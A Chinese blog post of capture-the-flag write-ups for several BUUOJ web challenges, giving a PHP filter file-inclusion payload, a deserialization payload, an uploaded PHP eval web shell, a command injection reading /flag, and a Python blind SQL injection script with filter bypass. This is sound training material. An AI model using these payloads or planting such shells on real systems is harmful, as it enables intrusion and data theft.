喜讯:本店开始营业啦!
前言
开学之后基本没做过题,主要是因为考试太多了一直在复习,其实就是因为自己是懒狗。放假之后又因为考驾照以及大创项目,也没怎么做题,其实也是因为懒狗。科四过啦!开心,准备开始营业,继续刷buuoj的题目。
[ACTF2020 新生赛]Include
算是签到吧
?file=php://fliter/read=convert.base64-encode/resource=flag.php
回显
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7N2Y3ZmUzZGUtMDhlMC00NzVkLWEzYzctMDkzZGY4NTA1NDc1fQo=
[极客大挑战 2019]Knife
白给的shell
post data:
Syc=system('cat /flag');
[极客大挑战 2019]PHP
源码泄露+反序列化漏洞
首先是get到www.zip
然后解压后得到源码,发现index中有
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
结合class.php中的代码以及php的反序列化漏洞
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
参考以前写过的一篇blog:
PHP反序列化漏洞
[极客大挑战 2019]Http
http头相关知识,抓包可以发现隐藏的链接,链接到Secret.php
,然后修改相应http头即可
[极客大挑战 2019]Upload
pthml绕过文件名检测
GIF89a
<script language="php">eval($REQUEST[shell])</script>
绕过<?
检测
没想到的是还有upload
路径问题。
[ACTF2020 新生赛]Exec
1;cat /flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
数字型注入,而且没有过滤掉函数,手动fuzz一下可以用if()
函数盲注,没有过滤select
或者from
等关键词,但是只要一用select flag from flag
就会报sql injection
,而且也过滤了/**/
,不知道为啥,后来想到会不会只正则匹配,然后误打误撞发现换行竟然可以绕过检测,后来看了源码才知道原来是过滤了空格。我是用换行绕过了,另外还可以用括号绕过,同样不会出现空格,如:
select(flag)from(flag)
没有写二分法,真男人(懒狗)从来都是直接爆破
import requests
url = 'http://48fee26c-e35d-461b-ad08-91ff24f3c0f4.node3.buuoj.cn/index.php'
ans = ''
for i in range(1, 1000):
word_i = str(i)
for num in range(0, 128):
word_num = str(num)
payload = 'if(ascii(right(left((\nselect\nflag\nfrom\nflag),%s),1))=%s,1,2)' % (word_i, word_num)
data = {
'id': payload
}
res = requests.post(url=url, data=data)
if 'Hello, glzjin wants a girlfriend.' in res.text:
ans += chr(num)
print(ans)
break
if '}' in ans:
break
[ACTF2020 新生赛]BackupFile
先是get下载index.php.bak
,然后分析代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
传递的参数必须为数字,网上有些说is_numeric()
函数还能判断十六进制,但是我尝试了一下只能是十进制,不知道为啥,然后$key
被转换为数字和$str
比较相等即得flag,强制类型转换?key=123
即可